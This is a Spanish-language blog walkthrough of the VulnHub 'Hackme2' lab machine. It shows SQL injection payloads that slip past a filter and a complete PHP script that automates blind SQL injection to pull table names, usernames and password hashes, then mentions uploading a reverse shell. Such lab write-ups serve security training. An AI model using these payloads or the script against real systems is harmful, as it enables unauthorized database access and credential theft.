miércoles, 10 de agosto de 2022

Breaking Hackme2: medium difficulty blind sql injection

 https://www.vulnhub.com/entry/hackme-2,618/

medium difficulty

- Nos encontramos con una pantalla de login y la posibilidad de registrarnos. Lo hacemos y se nos presenta un catálogo de libros donde podemos buscar. Después de probar fuzz parece que lo único viable es fuerza bruta o inyección sql y aquí radica lo interesante como buen ejemplo de 'blind sql injection' y de que sin saber cómo pueden acceder a nuestro sitio ;)



- Lo primero es probar de qué manera es vulnerable. Podría ser en el login, al registrarse o en la búsqueda. Hay que probarlo todo pero es obvio que el campo de búsqueda es el candidato ideal. Sabemos que al buscar en vacío devuelve todo el catálogo, luego vamos a probar una inyección básica:

' or 1=1 -- -

Para eso utilizamos mejor Burp y vamos probando hasta que nos devuelva el catálogo, signo de que hemos dado con la inyección correcta. Hay que probarlo todo por si hay algún mecanismo de protección, y así es como llegamos a 

'/**/oR/**/'1'='1'oR/**/'

que hay que enviar urlencodeado



- A partir de ahí hay que hacer inyección ciega con el único criterio de que si hacemos la petición correcta salga el catálogo entero. Ejemplo:

'/**/oR/**/'1'='1'/**/AND/**/(SELECT/**/table_name/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()/**/LIMIT/**/1,1)/**/LIKE/**/'u%'/**/oR/**/'

De esta manera vamos comprobando cada carácter del nombre de la tabla indicada (en este caso u en LIKE/**/'u%') y así podemos sacar todas las tablas, las columnas de cada una y los valores. Nos interesa buscar los usuarios y las passwords, y eso se puede automatizar:

<?php
function finddata($query)
{
$url="http://192.168.2.48/welcome.php";
$headers=array(
"Content-Type: application/x-www-form-urlencoded",
"Cookie: PHPSESSID=fud7t74636vfa9opo9lme101di",
"Host: 192.168.2.48");
$return=array();
$charset = 'abcdefghijklmnopqrstuvwxyz0123456789_';
$f=$g=true;$d=0;
$query="' oR '1'='1' AND ".$query." oR '";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

while ($g)
{
$v1="";
while ($f)
{
$f=false;
for ($c=0;$c<strlen($charset);$c++)
{
$t = $v1.$charset[$c];
$inject=str_replace(array('dn','tn'),array($d,$t),$query);
$post="search=".urlencode(str_replace(" ","/**/",$inject));
curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
$h2 = $headers;$h2[]="Content-Length: ".strlen($post);
curl_setopt($ch, CURLOPT_HTTPHEADER,$h2);
$res = curl_exec($ch);
if (strpos($res,'Anonymous Hackers')) {$f=true;$v1=$t;echo $v1."\x0d";break;}
}
}
++$d;$f=true;echo "\n";if ($v1=="") $g=false; else $return[]=$v1;
}
return $return;
}
echo "TABLAS\n";
finddata("(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT dn,1) LIKE 'tn%'");
echo "Columnas de users\n";
finddata("(SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT dn,1) LIKE 'tn%'");
echo "Entradas de user\n";
$users=finddata("(SELECT user FROM users LIMIT dn,1) LIKE 'tn%'");
echo "Entradas de password\n";
$passwords=finddata("(SELECT pasword FROM users LIMIT dn,1) LIKE 'tn%'");
for ($k=0;$k<sizeof($users);$k++)
{
echo $users[$k]." ".$passwords[$k]."\n";
}
?>

- Una vez sacado el usuario superadmin y su contraseña en md5, la crackeamos y al acceder con este usuario tenemos la posibilidad de uploadear un shell reverse directamente.





No hay comentarios:

Publicar un comentario